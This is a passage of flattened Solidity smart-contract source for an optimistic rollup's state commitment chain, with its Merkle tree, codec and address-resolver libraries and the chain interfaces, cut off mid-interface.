// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol"; import { Lib_MerkleTree } from "../../libraries/utils/Lib_MerkleTree.sol"; /* Interface Imports */ import { IStateCommitmentChain } from "./IStateCommitmentChain.sol"; import { ICanonicalTransactionChain } from "./ICanonicalTransactionChain.sol"; import { IBondManager } from "../verification/IBondManager.sol"; import { IChainStorageContainer } from "./IChainStorageContainer.sol"; /** * @title StateCommitmentChain * @dev The State Commitment Chain (SCC) contract contains a list of proposed state roots which * Proposers assert to be a result of each transaction in the Canonical Transaction Chain (CTC). * Elements here have a 1:1 correspondence with transactions in the CTC, and should be the unique * state root calculated off-chain by applying the canonical transactions one by one. * * Runtime target: EVM */ contract StateCommitmentChain is IStateCommitmentChain, Lib_AddressResolver { /************* * Constants * *************/ uint256 public FRAUD_PROOF_WINDOW; uint256 public SEQUENCER_PUBLISH_WINDOW; uint256 public DEFAULT_CHAINID = 1088; /*************** * Constructor * ***************/ /** * @param _libAddressManager Address of the Address Manager. */ constructor( address _libAddressManager, uint256 _fraudProofWindow, uint256 _sequencerPublishWindow ) Lib_AddressResolver(_libAddressManager) { FRAUD_PROOF_WINDOW = _fraudProofWindow; SEQUENCER_PUBLISH_WINDOW = _sequencerPublishWindow; } function setFraudProofWindow (uint256 window) public { require (msg.sender == resolve("METIS_MANAGER"), "now allowed"); FRAUD_PROOF_WINDOW = window; } /******************** * Public Functions * ********************/ /** * Accesses the batch storage container. * @return Reference to the batch storage container. */ function batches() public view returns (IChainStorageContainer) { return IChainStorageContainer(resolve("ChainStorageContainer-SCC-batches")); } /** * @inheritdoc IStateCommitmentChain */ function getTotalElements() public view returns (uint256 _totalElements) { return getTotalElementsByChainId(DEFAULT_CHAINID); } /** * @inheritdoc IStateCommitmentChain */ function getTotalBatches() public view returns (uint256 _totalBatches) { return getTotalBatchesByChainId(DEFAULT_CHAINID); } /** * @inheritdoc IStateCommitmentChain */ function getLastSequencerTimestamp() public view returns (uint256 _lastSequencerTimestamp) { return getLastSequencerTimestampByChainId(DEFAULT_CHAINID); } /** * @inheritdoc IStateCommitmentChain */ function appendStateBatch(bytes32[] memory _batch, uint256 _shouldStartAtElement) public { require (1==0, "don't use"); //appendStateBatchByChainId(DEFAULT_CHAINID, _batch, _shouldStartAtElement, "1088_MVM_Proposer"); } /** * @inheritdoc IStateCommitmentChain */ function deleteStateBatch(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) public { deleteStateBatchByChainId(DEFAULT_CHAINID, _batchHeader); } /** * @inheritdoc IStateCommitmentChain */ function verifyStateCommitment( bytes32 _element, Lib_OVMCodec.ChainBatchHeader memory _batchHeader, Lib_OVMCodec.ChainInclusionProof memory _proof ) public view returns (bool) { return verifyStateCommitmentByChainId(DEFAULT_CHAINID, _element, _batchHeader, _proof); } /** * @inheritdoc IStateCommitmentChain */ function insideFraudProofWindow(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) public view returns (bool _inside) { (uint256 timestamp, ) = abi.decode(_batchHeader.extraData, (uint256, address)); require(timestamp != 0, "Batch header timestamp cannot be zero"); return (timestamp + FRAUD_PROOF_WINDOW) > block.timestamp; } /********************** * Internal Functions * **********************/ /** * Parses the batch context from the extra data. * @return Total number of elements submitted. * @return Timestamp of the last batch submitted by the sequencer. */ function _getBatchExtraData() internal view returns (uint40, uint40) { bytes27 extraData = batches().getGlobalMetadata(); // solhint-disable max-line-length uint40 totalElements; uint40 lastSequencerTimestamp; assembly { extraData := shr(40, extraData) totalElements := and( extraData, 0x000000000000000000000000000000000000000000000000000000FFFFFFFFFF ) lastSequencerTimestamp := shr( 40, and(extraData, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000000000) ) } // solhint-enable max-line-length return (totalElements, lastSequencerTimestamp); } /** * Encodes the batch context for the extra data. * @param _totalElements Total number of elements submitted. * @param _lastSequencerTimestamp Timestamp of the last batch submitted by the sequencer. * @return Encoded batch context. */ function _makeBatchExtraData(uint40 _totalElements, uint40 _lastSequencerTimestamp) internal pure returns (bytes27) { bytes27 extraData; assembly { extraData := _totalElements extraData := or(extraData, shl(40, _lastSequencerTimestamp)) extraData := shl(40, extraData) } return extraData; } /** * @inheritdoc IStateCommitmentChain */ function getTotalElementsByChainId( uint256 _chainId ) override public view returns ( uint256 _totalElements ) { (uint40 totalElements, ) = _getBatchExtraDataByChainId(_chainId); return uint256(totalElements); } /** * @inheritdoc IStateCommitmentChain */ function getTotalBatchesByChainId( uint256 _chainId ) override public view returns ( uint256 _totalBatches ) { return batches().lengthByChainId(_chainId); } /** * @inheritdoc IStateCommitmentChain */ function getLastSequencerTimestampByChainId( uint256 _chainId ) override public view returns ( uint256 _lastSequencerTimestamp ) { (, uint40 lastSequencerTimestamp) = _getBatchExtraDataByChainId(_chainId); return uint256(lastSequencerTimestamp); } /** * @inheritdoc IStateCommitmentChain */ function appendStateBatchByChainId( uint256 _chainId, bytes32[] calldata _batch, uint256 _shouldStartAtElement, string calldata proposer ) override public { // Fail fast in to make sure our batch roots aren't accidentally made fraudulent by the // publication of batches by some other user. require( _shouldStartAtElement == getTotalElementsByChainId(_chainId), "Actual batch start index does not match expected start index." ); address proposerAddr = resolve(proposer); // Proposers must have previously staked at the BondManager require( IBondManager(resolve("BondManager")).isCollateralizedByChainId(_chainId,msg.sender,proposerAddr), "Proposer does not have enough collateral posted" ); require( _batch.length > 0, "Cannot submit an empty state batch." ); require( getTotalElementsByChainId(_chainId) + _batch.length <= ICanonicalTransactionChain(resolve("CanonicalTransactionChain")).getTotalElementsByChainId(_chainId), "Number of state roots cannot exceed the number of canonical transactions." ); // Pass the block's timestamp and the publisher of the data // to be used in the fraud proofs _appendBatchByChainId( _chainId, _batch, abi.encode(block.timestamp, msg.sender), proposerAddr ); } /** * @inheritdoc IStateCommitmentChain */ function deleteStateBatchByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) override public { require( msg.sender == resolve( string(abi.encodePacked(uint2str(_chainId),"_MVM_FraudVerifier"))), "State batches can only be deleted by the MVM_FraudVerifier." ); require( _isValidBatchHeaderByChainId(_chainId,_batchHeader), "Invalid batch header." ); require( insideFraudProofWindowByChainId(_chainId,_batchHeader), "State batches can only be deleted within the fraud proof window." ); _deleteBatchByChainId(_chainId,_batchHeader); } /** * @inheritdoc IStateCommitmentChain */ function verifyStateCommitmentByChainId( uint256 _chainId, bytes32 _element, Lib_OVMCodec.ChainBatchHeader memory _batchHeader, Lib_OVMCodec.ChainInclusionProof memory _proof ) override public view returns ( bool ) { require( _isValidBatchHeaderByChainId(_chainId,_batchHeader), "Invalid batch header." ); require( Lib_MerkleTree.verify( _batchHeader.batchRoot, _element, _proof.index, _proof.siblings, _batchHeader.batchSize ), "Invalid inclusion proof." ); return true; } /** * @inheritdoc IStateCommitmentChain */ function insideFraudProofWindowByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) override public view returns ( bool _inside ) { (uint256 timestamp,) = abi.decode( _batchHeader.extraData, (uint256, address) ); require( timestamp != 0, "Batch header timestamp cannot be zero" ); return timestamp + FRAUD_PROOF_WINDOW > block.timestamp; } /********************** * Internal Functions * **********************/ /** * Parses the batch context from the extra data. * @return Total number of elements submitted. * @return Timestamp of the last batch submitted by the sequencer. */ function _getBatchExtraDataByChainId( uint256 _chainId ) internal view returns ( uint40, uint40 ) { bytes27 extraData = batches().getGlobalMetadataByChainId(_chainId); uint40 totalElements; uint40 lastSequencerTimestamp; assembly { extraData := shr(40, extraData) totalElements := and(extraData, 0x000000000000000000000000000000000000000000000000000000FFFFFFFFFF) lastSequencerTimestamp := shr(40, and(extraData, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000000000)) } return ( totalElements, lastSequencerTimestamp ); } /** * Encodes the batch context for the extra data. * @param _totalElements Total number of elements submitted. * @param _lastSequencerTimestamp Timestamp of the last batch submitted by the sequencer. * @return Encoded batch context. */ function _makeBatchExtraDataByChainId( uint256 _chainId, uint40 _totalElements, uint40 _lastSequencerTimestamp ) internal pure returns ( bytes27 ) { bytes27 extraData; assembly { extraData := _totalElements extraData := or(extraData, shl(40, _lastSequencerTimestamp)) extraData := shl(40, extraData) } return extraData; } /** * Appends a batch to the chain. * @param _batch Elements within the batch. * @param _extraData Any extra data to append to the batch. */ function _appendBatchByChainId( uint256 _chainId, bytes32[] memory _batch, bytes memory _extraData, address proposer ) internal { (uint40 totalElements, uint40 lastSequencerTimestamp) = _getBatchExtraDataByChainId(_chainId); if (msg.sender == proposer) { lastSequencerTimestamp = uint40(block.timestamp); } else { // We keep track of the last batch submitted by the sequencer so there's a window in // which only the sequencer can publish state roots. A window like this just reduces // the chance of "system breaking" state roots being published while we're still in // testing mode. This window should be removed or significantly reduced in the future. require( lastSequencerTimestamp + SEQUENCER_PUBLISH_WINDOW < block.timestamp, "Cannot publish state roots within the sequencer publication window." ); } // For efficiency reasons getMerkleRoot modifies the `_batch` argument in place // while calculating the root hash therefore any arguments passed to it must not // be used again afterwards Lib_OVMCodec.ChainBatchHeader memory batchHeader = Lib_OVMCodec.ChainBatchHeader({ batchIndex: getTotalBatchesByChainId(_chainId), batchRoot: Lib_MerkleTree.getMerkleRoot(_batch), batchSize: _batch.length, prevTotalElements: totalElements, extraData: _extraData }); emit StateBatchAppended( _chainId, batchHeader.batchIndex, batchHeader.batchRoot, batchHeader.batchSize, batchHeader.prevTotalElements, batchHeader.extraData ); batches().pushByChainId( _chainId, Lib_OVMCodec.hashBatchHeader(batchHeader), _makeBatchExtraDataByChainId( _chainId, uint40(batchHeader.prevTotalElements + batchHeader.batchSize), lastSequencerTimestamp ) ); } /** * Removes a batch and all subsequent batches from the chain. * @param _batchHeader Header of the batch to remove. */ function _deleteBatchByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) internal { require( _batchHeader.batchIndex < batches().lengthByChainId(_chainId), "Invalid batch index." ); require( _isValidBatchHeaderByChainId(_chainId,_batchHeader), "Invalid batch header." ); batches().deleteElementsAfterInclusiveByChainId( _chainId, _batchHeader.batchIndex, _makeBatchExtraDataByChainId( _chainId, uint40(_batchHeader.prevTotalElements), 0 ) ); emit StateBatchDeleted( _chainId, _batchHeader.batchIndex, _batchHeader.batchRoot ); } /** * Checks that a batch header matches the stored hash for the given index. * @param _batchHeader Batch header to validate. * @return Whether or not the header matches the stored one. */ function _isValidBatchHeaderByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) internal view returns ( bool ) { return Lib_OVMCodec.hashBatchHeader(_batchHeader) == batches().getByChainId(_chainId,_batchHeader.batchIndex); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /* Library Imports */ import { Lib_RLPReader } from "../rlp/Lib_RLPReader.sol"; import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol"; import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol"; import { Lib_Bytes32Utils } from "../utils/Lib_Bytes32Utils.sol"; /** * @title Lib_OVMCodec */ library Lib_OVMCodec { /********* * Enums * *********/ enum QueueOrigin { SEQUENCER_QUEUE, L1TOL2_QUEUE } /*********** * Structs * ***********/ struct EVMAccount { uint256 nonce; uint256 balance; bytes32 storageRoot; bytes32 codeHash; } struct ChainBatchHeader { uint256 batchIndex; bytes32 batchRoot; uint256 batchSize; uint256 prevTotalElements; bytes extraData; } struct ChainInclusionProof { uint256 index; bytes32[] siblings; } struct Transaction { uint256 timestamp; uint256 blockNumber; QueueOrigin l1QueueOrigin; address l1TxOrigin; address entrypoint; uint256 gasLimit; bytes data; } struct TransactionChainElement { bool isSequenced; uint256 queueIndex; // QUEUED TX ONLY uint256 timestamp; // SEQUENCER TX ONLY uint256 blockNumber; // SEQUENCER TX ONLY bytes txData; // SEQUENCER TX ONLY } struct QueueElement { bytes32 transactionHash; uint40 timestamp; uint40 blockNumber; } /********************** * Internal Functions * **********************/ /** * Encodes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Encoded transaction bytes. */ function encodeTransaction(Transaction memory _transaction) internal pure returns (bytes memory) { return abi.encodePacked( _transaction.timestamp, _transaction.blockNumber, _transaction.l1QueueOrigin, _transaction.l1TxOrigin, _transaction.entrypoint, _transaction.gasLimit, _transaction.data ); } /** * Hashes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Hashed transaction */ function hashTransaction(Transaction memory _transaction) internal pure returns (bytes32) { return keccak256(encodeTransaction(_transaction)); } /** * @notice Decodes an RLP-encoded account state into a useful struct. * @param _encoded RLP-encoded account state. * @return Account state struct. */ function decodeEVMAccount(bytes memory _encoded) internal pure returns (EVMAccount memory) { Lib_RLPReader.RLPItem[] memory accountState = Lib_RLPReader.readList(_encoded); return EVMAccount({ nonce: Lib_RLPReader.readUint256(accountState[0]), balance: Lib_RLPReader.readUint256(accountState[1]), storageRoot: Lib_RLPReader.readBytes32(accountState[2]), codeHash: Lib_RLPReader.readBytes32(accountState[3]) }); } /** * Calculates a hash for a given batch header. * @param _batchHeader Header to hash. * @return Hash of the header. */ function hashBatchHeader(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) internal pure returns (bytes32) { return keccak256( abi.encode( _batchHeader.batchRoot, _batchHeader.batchSize, _batchHeader.prevTotalElements, _batchHeader.extraData ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /* Library Imports */ import { Lib_AddressManager } from "./Lib_AddressManager.sol"; /** * @title Lib_AddressResolver */ abstract contract Lib_AddressResolver { /************* * Variables * *************/ Lib_AddressManager public libAddressManager; /*************** * Constructor * ***************/ /** * @param _libAddressManager Address of the Lib_AddressManager. */ constructor(address _libAddressManager) { libAddressManager = Lib_AddressManager(_libAddressManager); } /******************** * Public Functions * ********************/ /** * Resolves the address associated with a given name. * @param _name Name to resolve an address for. * @return Address associated with the given name. */ function resolve(string memory _name) public view returns (address) { return libAddressManager.getAddress(_name); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_MerkleTree * @author River Keefer */ library Lib_MerkleTree { /********************** * Internal Functions * **********************/ /** * Calculates a merkle root for a list of 32-byte leaf hashes. WARNING: If the number * of leaves passed in is not a power of two, it pads out the tree with zero hashes. * If you do not know the original length of elements for the tree you are verifying, then * this may allow empty leaves past _elements.length to pass a verification check down the line. * Note that the _elements argument is modified, therefore it must not be used again afterwards * @param _elements Array of hashes from which to generate a merkle root. * @return Merkle root of the leaves, with zero hashes for non-powers-of-two (see above). */ function getMerkleRoot(bytes32[] memory _elements) internal pure returns (bytes32) { require(_elements.length > 0, "Lib_MerkleTree: Must provide at least one leaf hash."); if (_elements.length == 1) { return _elements[0]; } uint256[16] memory defaults = [ 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563, 0x633dc4d7da7256660a892f8f1604a44b5432649cc8ec5cb3ced4c4e6ac94dd1d, 0x890740a8eb06ce9be422cb8da5cdafc2b58c0a5e24036c578de2a433c828ff7d, 0x3b8ec09e026fdc305365dfc94e189a81b38c7597b3d941c279f042e8206e0bd8, 0xecd50eee38e386bd62be9bedb990706951b65fe053bd9d8a521af753d139e2da, 0xdefff6d330bb5403f63b14f33b578274160de3a50df4efecf0e0db73bcdd3da5, 0x617bdd11f7c0a11f49db22f629387a12da7596f9d1704d7465177c63d88ec7d7, 0x292c23a9aa1d8bea7e2435e555a4a60e379a5a35f3f452bae60121073fb6eead, 0xe1cea92ed99acdcb045a6726b2f87107e8a61620a232cf4d7d5b5766b3952e10, 0x7ad66c0a68c72cb89e4fb4303841966e4062a76ab97451e3b9fb526a5ceb7f82, 0xe026cc5a4aed3c22a58cbd3d2ac754c9352c5436f638042dca99034e83636516, 0x3d04cffd8b46a874edf5cfae63077de85f849a660426697b06a829c70dd1409c, 0xad676aa337a485e4728a0b240d92b3ef7b3c372d06d189322bfd5f61f1e7203e, 0xa2fca4a49658f9fab7aa63289c91b7c7b6c832a6d0e69334ff5b0a3483d09dab, 0x4ebfd9cd7bca2505f7bef59cc1c12ecc708fff26ae4af19abe852afe9e20c862, 0x2def10d13dd169f550f578bda343d9717a138562e0093b380a1120789d53cf10 ]; // Reserve memory space for our hashes. bytes memory buf = new bytes(64); // We'll need to keep track of left and right siblings. bytes32 leftSibling; bytes32 rightSibling; // Number of non-empty nodes at the current depth. uint256 rowSize = _elements.length; // Current depth, counting from 0 at the leaves uint256 depth = 0; // Common sub-expressions uint256 halfRowSize; // rowSize / 2 bool rowSizeIsOdd; // rowSize % 2 == 1 while (rowSize > 1) { halfRowSize = rowSize / 2; rowSizeIsOdd = rowSize % 2 == 1; for (uint256 i = 0; i < halfRowSize; i++) { leftSibling = _elements[(2 * i)]; rightSibling = _elements[(2 * i) + 1]; assembly { mstore(add(buf, 32), leftSibling) mstore(add(buf, 64), rightSibling) } _elements[i] = keccak256(buf); } if (rowSizeIsOdd) { leftSibling = _elements[rowSize - 1]; rightSibling = bytes32(defaults[depth]); assembly { mstore(add(buf, 32), leftSibling) mstore(add(buf, 64), rightSibling) } _elements[halfRowSize] = keccak256(buf); } rowSize = halfRowSize + (rowSizeIsOdd ? 1 : 0); depth++; } return _elements[0]; } /** * Verifies a merkle branch for the given leaf hash. Assumes the original length * of leaves generated is a known, correct input, and does not return true for indices * extending past that index (even if _siblings would be otherwise valid.) * @param _root The Merkle root to verify against. * @param _leaf The leaf hash to verify inclusion of. * @param _index The index in the tree of this leaf. * @param _siblings Array of sibline nodes in the inclusion proof, starting from depth 0 * (bottom of the tree). * @param _totalLeaves The total number of leaves originally passed into. * @return Whether or not the merkle branch and leaf passes verification. */ function verify( bytes32 _root, bytes32 _leaf, uint256 _index, bytes32[] memory _siblings, uint256 _totalLeaves ) internal pure returns (bool) { require(_totalLeaves > 0, "Lib_MerkleTree: Total leaves must be greater than zero."); require(_index < _totalLeaves, "Lib_MerkleTree: Index out of bounds."); require( _siblings.length == _ceilLog2(_totalLeaves), "Lib_MerkleTree: Total siblings does not correctly correspond to total leaves." ); bytes32 computedRoot = _leaf; for (uint256 i = 0; i < _siblings.length; i++) { if ((_index & 1) == 1) { computedRoot = keccak256(abi.encodePacked(_siblings[i], computedRoot)); } else { computedRoot = keccak256(abi.encodePacked(computedRoot, _siblings[i])); } _index >>= 1; } return _root == computedRoot; } /********************* * Private Functions * *********************/ /** * Calculates the integer ceiling of the log base 2 of an input. * @param _in Unsigned input to calculate the log. * @return ceil(log_base_2(_in)) */ function _ceilLog2(uint256 _in) private pure returns (uint256) { require(_in > 0, "Lib_MerkleTree: Cannot compute ceil(log_2) of 0."); if (_in == 1) { return 0; } // Find the highest set bit (will be floor(log_2)). // Borrowed with <3 from https://github.com/ethereum/solidity-examples uint256 val = _in; uint256 highest = 0; for (uint256 i = 128; i >= 1; i >>= 1) { if (val & (((uint256(1) << i) - 1) << i) != 0) { highest += i; val >>= i; } } // Increment by one if this is not a perfect logarithm. if ((uint256(1) << highest) != _in) { highest += 1; } return highest; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.9.0; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; import { IChainStorageContainer } from "./IChainStorageContainer.sol"; /** * @title IStateCommitmentChain */ interface IStateCommitmentChain { /********** * Events * **********/ event StateBatchAppended( uint256 _chainId, uint256 indexed _batchIndex, bytes32 _batchRoot, uint256 _batchSize, uint256 _prevTotalElements, bytes _extraData ); event StateBatchDeleted( uint256 _chainId, uint256 indexed _batchIndex, bytes32 _batchRoot ); /******************** * Public Functions * ********************/ function batches() external view returns (IChainStorageContainer); /** * Retrieves the total number of elements submitted. * @return _totalElements Total submitted elements. */ function getTotalElements() external view returns (uint256 _totalElements); /** * Retrieves the total number of batches submitted. * @return _totalBatches Total submitted batches. */ function getTotalBatches() external view returns (uint256 _totalBatches); /** * Retrieves the timestamp of the last batch submitted by the sequencer. * @return _lastSequencerTimestamp Last sequencer batch timestamp. */ function getLastSequencerTimestamp() external view returns (uint256 _lastSequencerTimestamp); /** * Appends a batch of state roots to the chain. * @param _batch Batch of state roots. * @param _shouldStartAtElement Index of the element at which this batch should start. */ function appendStateBatch(bytes32[] calldata _batch, uint256 _shouldStartAtElement) external; /** * Deletes all state roots after (and including) a given batch. * @param _batchHeader Header of the batch to start deleting from. */ function deleteStateBatch(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) external; /** * Verifies a batch inclusion proof. * @param _element Hash of the element to verify a proof for. * @param _batchHeader Header of the batch in which the element was included. * @param _proof Merkle inclusion proof for the element. */ function verifyStateCommitment( bytes32 _element, Lib_OVMCodec.ChainBatchHeader memory _batchHeader, Lib_OVMCodec.ChainInclusionProof memory _proof ) external view returns (bool _verified); /** * Checks whether a given batch is still inside its fraud proof window. * @param _batchHeader Header of the batch to check. * @return _inside Whether or not the batch is inside the fraud proof window. */ function insideFraudProofWindow(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) external view returns ( bool _inside ); /******************** * chain id added func * ********************/ /** * Retrieves the total number of elements submitted. * @param _chainId identity for the l2 chain. * @return _totalElements Total submitted elements. */ function getTotalElementsByChainId(uint256 _chainId) external view returns ( uint256 _totalElements ); /** * Retrieves the total number of batches submitted. * @param _chainId identity for the l2 chain. * @return _totalBatches Total submitted batches. */ function getTotalBatchesByChainId(uint256 _chainId) external view returns ( uint256 _totalBatches ); /** * Retrieves the timestamp of the last batch submitted by the sequencer. * @param _chainId identity for the l2 chain. * @return _lastSequencerTimestamp Last sequencer batch timestamp. */ function getLastSequencerTimestampByChainId(uint256 _chainId) external view returns ( uint256 _lastSequencerTimestamp ); /** * Appends a batch of state roots to the chain. * @param _chainId identity for the l2 chain. * @param _batch Batch of state roots. * @param _shouldStartAtElement Index of the element at which this batch should start. */ function appendStateBatchByChainId( uint256 _chainId, bytes32[] calldata _batch, uint256 _shouldStartAtElement, string calldata proposer ) external; /** * Deletes all state roots after (and including) a given batch. * @param _chainId identity for the l2 chain. * @param _batchHeader Header of the batch to start deleting from. */ function deleteStateBatchByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) external; /** * Verifies a batch inclusion proof. * @param _chainId identity for the l2 chain. * @param _element Hash of the element to verify a proof for. * @param _batchHeader Header of the batch in which the element was included. * @param _proof Merkle inclusion proof for the element. */ function verifyStateCommitmentByChainId( uint256 _chainId, bytes32 _element, Lib_OVMCodec.ChainBatchHeader memory _batchHeader, Lib_OVMCodec.ChainInclusionProof memory _proof ) external view returns ( bool _verified ); /** * Checks whether a given batch is still inside its fraud proof window. * @param _chainId identity for the l2 chain. * @param _batchHeader Header of the batch to check. * @return _inside Whether or not the batch is inside the fraud proof window. */ function insideFraudProofWindowByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) external view returns ( bool _inside ); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.9.0; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; /* Interface Imports */ import { IChainStorageContainer } from "./IChainStorageContainer.sol"; /** * @title ICanonicalTransactionChain */ interface ICanonicalTransactionChain { /********** * Events * **********/ event QueueGlobalMetadataSet( address _sender, uint256 _chainId, bytes27 _globalMetadata ); event QueuePushed( address _sender, uint256 _chainId, Lib_OVMCodec.QueueElement _object ); event QueueSetted( address _sender, uint256 _chainId, uint256 _index, Lib_OVMCodec.QueueElement _object ); event QueueElementDeleted( address _sender, uint256 _chainId, uint256 _index, bytes27 _globalMetadata ); event BatchesGlobalMetadataSet( address _sender, uint256 _chainId, bytes27 _globalMetadata ); event BatchPushed( address _sender, uint256 _chainId, bytes32 _object, bytes27 _globalMetadata ); event BatchSetted( address _sender, uint256 _chainId, uint256 _index, bytes32 _object ); event BatchElementDeleted( address _sender, uint256 _chainId, uint256 _index, bytes27 _globalMetadata ); event L2GasParamsUpdated( uint256 l2GasDiscountDivisor, uint256 enqueueGasCost, uint256 enqueueL2GasPrepaid ); event TransactionEnqueued( uint256 _chainId, address indexed _l1TxOrigin, address indexed _target, uint256 _gasLimit, bytes _data, uint256 indexed _queueIndex, uint256 _timestamp ); event QueueBatchAppended( uint256 _chainId, uint256 _startingQueueIndex, uint256 _numQueueElements, uint256 _totalElements ); event SequencerBatchAppended( uint256 _chainId, uint256 _startingQueueIndex, uint256 _numQueueElements, uint256 _totalElements ); event TransactionBatchAppended( uint256 _chainId, uint256 indexed _batchIndex, bytes32 _batchRoot, uint256 _batchSize, uint256 _prevTotalElements, bytes _extraData ); /*********** * Structs * ***********/ struct BatchContext { uint256 numSequencedTransactions; uint256 numSubsequentQueueTransactions; uint256 timestamp; uint256 blockNumber; } /******************************* * Authorized Setter Functions * *******************************/ /** * Allows the Burn Admin to update the parameters which determine the amount of gas to burn. * The value of enqueueL2GasPrepaid is immediately updated as well. */ function setGasParams(uint256 _l2GasDiscountDivisor, uint256 _enqueueGasCost) external; /******************** * Public Functions * ********************/ /** * Accesses the batch storage container. * @return Reference to the batch storage container. */ function batches() external view returns (IChainStorageContainer); /** * Accesses the queue storage container. * @return Reference to the queue storage container. */ function queue() external view returns (IChainStorageContainer); /** * Retrieves the total number of elements submitted. * @return _totalElements Total submitted elements. */ function getTotalElements() external view returns (uint256 _totalElements); /** * Retrieves the total number of batches submitted. * @return _totalBatches Total submitted batches. */ function getTotalBatches() external view returns (uint256 _totalBatches); /** * Returns the index of the next element to be enqueued. * @return Index for the next queue element. */ function getNextQueueIndex() external view returns (uint40); /** * Gets the queue element at a particular index. * @param _index Index of the queue element to access. * @return _element Queue element at the given index. */ function getQueueElement(uint256 _index) external view returns (Lib_OVMCodec.QueueElement memory _element); /** * Returns the timestamp of the last transaction. * @return Timestamp for the last transaction. */ function getLastTimestamp() external view returns (uint40); /** * Returns the blocknumber of the last transaction. * @return Blocknumber for the last transaction. */ function getLastBlockNumber() external view returns (uint40); /** * Get the number of queue elements which have not yet been included. * @return Number of pending queue elements. */ function getNumPendingQueueElements() external view returns (uint40); /** * Retrieves the length of the queue, including * both pending and canonical transactions. * @return Length of the queue. */ function getQueueLength() external view returns (uint40); /** * Adds a transaction to the queue. * @param _target Target contract to send the transaction to. * @param _gasLimit Gas limit for the given transaction. * @param _data Transaction data. */ function enqueue( address _target, uint256 _gasLimit, bytes memory _data ) external; /** * Allows the sequencer to append a batch of transactions. * @dev This function uses a custom encoding scheme for efficiency reasons. * .param _shouldStartAtElement Specific batch we expect to start appending to. * .param _totalElementsToAppend Total number of batch elements we expect to append. * .param _contexts Array of batch contexts. * .param _transactionDataFields Array of raw transaction data. */ function appendSequencerBatch( // uint40 _shouldStartAtElement, // uint24 _totalElementsToAppend, // BatchContext[] _contexts, // bytes[] _transactionDataFields ) external; //added chain id function /** * Retrieves the total number of elements submitted. * @param _chainId identity for the l2 chain. * @return _totalElements Total submitted elements. */ function getTotalElementsByChainId( uint256 _chainId ) external view returns ( uint256 _totalElements ); /** * Retrieves the total number of batches submitted. * @param _chainId identity for the l2 chain. * @return _totalBatches Total submitted batches. */ function getTotalBatchesByChainId( uint256 _chainId ) external view returns ( uint256 _totalBatches ); /** * Returns the index of the next element to be enqueued. * @param _chainId identity for the l2 chain. * @return Index for the next queue element. */ function getNextQueueIndexByChainId( uint256 _chainId ) external view returns ( uint40 ); /** * Gets the queue element at a particular index. * @param _chainId identity for the l2 chain. * @param _index Index of the queue element to access. * @return _element Queue element at the given index. */ function getQueueElementByChainId( uint256 _chainId, uint256 _index ) external view returns ( Lib_OVMCodec.QueueElement memory _element ); /** * Returns the timestamp of the last transaction. * @param _chainId identity for the l2 chain. * @return Timestamp for the last transaction. */ function getLastTimestampByChainId( uint256 _chainId ) external view returns ( uint40 ); /** * Returns the blocknumber of the last transaction. * @param _chainId identity for the l2 chain. * @return Blocknumber for the last transaction. */ function getLastBlockNumberByChainId( uint256 _chainId ) external view returns ( uint40 ); /** * Get the number of queue elements which have not yet been included. * @param _chainId identity for the l2 chain. * @return Number of pending queue elements. */ function getNumPendingQueueElementsByChainId( uint256 _chainId ) external view returns ( uint40 ); /** * Retrieves the length of the queue, including * both pending and canonical transactions. * @param _chainId identity for the l2 chain. * @return Length of the queue. */ function getQueueLengthByChainId( uint256 _chainId ) external view returns ( uint40 ); /** * Adds a transaction to the queue. * @param _chainId identity for the l2 chain. * @param _target Target contract to send the transaction to. * @param _gasLimit Gas limit for the given transaction. * @param _data Transaction data. */ function enqueueByChainId( uint256 _chainId, address _target, uint256 _gasLimit, bytes memory _data ) external; /** * Allows the sequencer to append a batch of transactions. * @dev This function uses a custom encoding scheme for efficiency reasons. * .param _chainId identity for the l2 chain. * .param _shouldStartAtElement Specific batch we expect to start appending to. * .param _totalElementsToAppend Total number of batch elements we expect to append. * .param _contexts Array of batch contexts. * .param _transactionDataFields Array of raw transaction data. */ function appendSequencerBatchByChainId( // uint256 _chainId, // uint40 _shouldStartAtElement, // uint24 _totalElementsToAppend, // BatchContext[] _contexts, // bytes[] _transactionDataFields ) external; function pushQueueByChainId( uint256 _chainId, Lib_OVMCodec.QueueElement calldata _object ) external; function setQueueByChainId( uint256 _chainId, uint256 _index, 